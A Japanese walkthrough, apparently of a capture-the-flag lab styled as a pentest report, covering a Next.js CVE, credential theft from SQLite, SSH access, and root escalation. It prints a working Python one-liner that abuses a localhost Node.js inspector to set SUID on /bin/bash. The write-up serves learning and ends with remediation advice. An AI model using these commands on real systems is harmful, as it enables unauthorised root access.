
# 技術的ペネトレーションテストのレポート:Next.js における CVE-2025-55182 の悪用、SQLite からの認証情報収集、Node.js インスペクタを介した権限昇格による root アクセス獲得の実証
本技術レポートでは、脆弱性のあるNext.js Webアプリケーションをホストするターゲットを侵害し、収集した認証情報による初期アクセスを達成し、設定ミスのあるローカルNode.js V8インスペクタを悪用してroot権限へ昇格するまでの攻撃経路について詳述します。
ターゲットは標準的なHTTP/HTTPSポート(80/443)で動作するNext.js Webアプリケーションをホストしています。標準的なディレクトリ列挙と手動分析により、アプリケーションがCVE-2025-55182に対して脆弱なバージョンで動作していることが示されています。
脆弱性を悪用するには、Burp Suite(またはBurp Repeater)を使用してアプリケーションのトラフィックを傍受し、CVE-2025-55182を標的とした細工されたエクスプロイトペイロードを注入します。
エクスプロイトを通じてコード実行とローカルファイル読み取りを達成したら、アプリケーションのソースディレクトリを調査します。ローカルSQLiteデータベースファイル(database.db)は、メインのアプリケーションソースコードの隣に配置されています。
データベースファイルの内容をクエリまたはダンプして、保存されているユーザーレコードを抽出します。
sqlite3 database.db "SELECT * FROM users;"
ローカルSSHユーザー engineer に関連付けられた平文パスワードを特定します。
回収した認証情報を使用して、ターゲットマシンとのSSHセッションを確立します:
ssh engineer@<TARGET-IP>
認証が完了したら、ホームディレクトリにあるユーザーフラグを読み取ります:
cat /home/engineer/user.txt
ローカルループバックインターフェース(127.0.0.1)にのみバインドされているサービスを確認し、内部攻撃対象領域を特定します:
netstat -tulnp
結果: 内部Node.jsサービスがローカルポート9229でアクティブに待ち受けています。
Node.js V8デバッグポートは、WebSocket通信に一意のセッションUUIDを必要とします。curl を使用して /json を付加したローカルディスカバリーエンドポイントをクエリします:
curl -s http://127.0.0.1:9229/json
出力:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
ターゲットのNode.jsプロセスはroot権限で実行されているため、Pythonを使用してWebSocket経由でChrome DevTools Protocol(CDP)の Runtime.evaluate メッセージを送信し、/bin/bash にSUIDビットを設定できます:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
/bin/bash にSUID権限が有効になっていること(-rwsr-sr-x)を確認し、特権を保持したままBashを起動します:
ls -l /bin/bash
bash -p
rootユーザーのホームディレクトリに移動して、最終フラグを取得します:
cd /root
cat root.txt
これらの攻撃ベクトルから環境を保護するには、既知のCVEに対して脆弱なWebアプリケーションにパッチを適用し、データベースファイルの権限を適切に制限し、デバッグポート(ポート9229のNode.jsインスペクタなど)が本番環境で公開されたり、認証なしでアクセス可能な状態に放置されたりしないようにする必要があります。